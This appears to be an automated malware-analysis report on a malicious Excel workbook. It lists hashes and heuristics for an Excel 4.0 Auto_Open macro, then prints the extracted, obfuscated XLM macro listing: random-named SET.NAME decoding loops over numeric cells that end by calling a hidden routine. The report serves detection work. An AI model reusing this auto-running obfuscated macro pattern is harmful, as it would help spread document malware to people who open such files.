Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 03061f809fcb8c46…

MALICIOUS

Office (OLE)

35.5 KB Created: 2020-11-27 11:46:05 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: f2be46053395de522e31f4225bbb1dfa SHA-1: 5ac53b1b5f6661e0455f9e78e6f6f2ece0246a19 SHA-256: 03061f809fcb8c4676d8758367cab12aab902817a60b51cfae1a6af2342538c3
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6575 bytes
SHA-256: 8cfc2e8b885824c27dfd846d1a18342bb7c7409cdb72ebb823c196bdeb9223a3
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  etw
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E162 
' 0018     25 LABEL : Cell Value, String Constant - ClRzJJvtiO len=0 
' 0018     23 LABEL : Cell Value, String Constant - fMrItpTa len=0 
' 0018     26 LABEL : Cell Value, String Constant - FUaarlZiwSa len=0 
' 0018     27 LABEL : Cell Value, String Constant - JkTabEvgpIQc len=0 
' 0018     21 LABEL : Cell Value, String Constant - jmIfGk len=0 
' 0018     25 LABEL : Cell Value, String Constant - LibUyVmdvj len=0 
' 0018     20 LABEL : Cell Value, String Constant - lmeGK len=0 
' 0018     24 LABEL : Cell Value, String Constant - nDsibuWYQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - nMCrPVULqmey len=0 
' 0018     22 LABEL : Cell Value, String Constant - ObJTCfH len=0 
' 0018     21 LABEL : Cell Value, String Constant - rEODFP len=0 
' 0018     20 LABEL : Cell Value, String Constant - rKxVv len=0 
' 0018     23 LABEL : Cell Value, String Constant - rtuatXnt len=0 
' 0018     22 LABEL : Cell Value, String Constant - SLIpnYh len=0 
' 0018     27 LABEL : Cell Value, String Constant - tBvQRmWQFopz len=0 
' 0018     27 LABEL : Cell Value, String Constant - TZUOgBvJDjEU len=0 
' 0018     23 LABEL : Cell Value, String Constant - UaLMVrks len=0 
' 0018     26 LABEL : Cell Value, String Constant - WpDYoQIiwLb len=0 
' 0018     27 LABEL : Cell Value, String Constant - XaJoaaiHrGHV len=0 
' 0018     24 LABEL : Cell Value, String Constant - ZlKCxXuNi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  etw,R57,"",-252.00000000000000000000
'  etw,R58,"",-578.00000000000000000000
'  etw,R59,"",-765.00000000000000000000
'  etw,R60,"",-220.00000000000000000000
'  etw,R61,"",831.00000000000000000000
'  etw,R62,"",939.00000000000000000000
'  etw,E82,"SET.NAME("jmIfGk",0+VALUE("0"))",""
'  etw,E87,"SET.NAME("ZlKCxXuNi",jmIfGk)",""
'  etw,E89,"SET.NAME("JkTabEvgpIQc",jmIfGk)",""
'  etw,E93,"SET.NAME("UaLMVrks",COUNTA(ObJTCfH))",""
'  etw,E95,"SET.NAME("WpDYoQIiwLb",COUNTA(LibUyVmdvj))",""
'  etw,E98,[],""
'  etw,E103,"SET.NAME("nMCrPVULqmey","")",""
'  etw,E108,"ZlKCxXuNi",""
'  etw,E111,"SET.NAME("rKxVv",HLOOKUP("*",ObJTCfH,ZlKCxXuNi,FALSE))",""
'  etw,E116,"fMrItpTa",""
'  etw,E118,"SET.NAME("nDsibuWYQ",jmIfGk)",""
'  etw,E120,[],""
'  etw,E122,"nDsibuWYQ",""
'  etw,E124,"FUaarlZiwSa",""
'  etw,E127,"TZUOgBvJDjEU",""
'  etw,E132,"ClRzJJvtiO",""
'  etw,E134,"SET.NAME("lmeGK",VALUE(HLOOKUP("*",LibUyVmdvj,ClRzJJvtiO,FALSE)))",""
'  etw,E136,"rEODFP",""
'  etw,E139,"nMCrPVULqmey",""
'  etw,E141,"JkTabEvgpIQc",""
'  etw,E143,NEXT(),""
'  etw,E145,"tBvQRmWQFopz",""
'  etw,E148,[],""
'  etw,E152,"rtuatXnt",""
'  etw,E157,NEXT(),""
'  etw,E160,RETURN(),""
'  etw,E187,"SET.NAME("SLIpnYh",E82)",""
'  etw,E192,"ObJTCfH",""
'  etw,E194,"SET.NAME("LibUyVmdvj",R59C15)",""
'  etw,E198,"SET.NAME("rtuatXnt",205)",""
'  etw,E201,"SET.NAME("XaJoaaiHrGHV",5)",""
'  etw,E204,SLIpnYh(),""
'  etw,E205,HALT(),""

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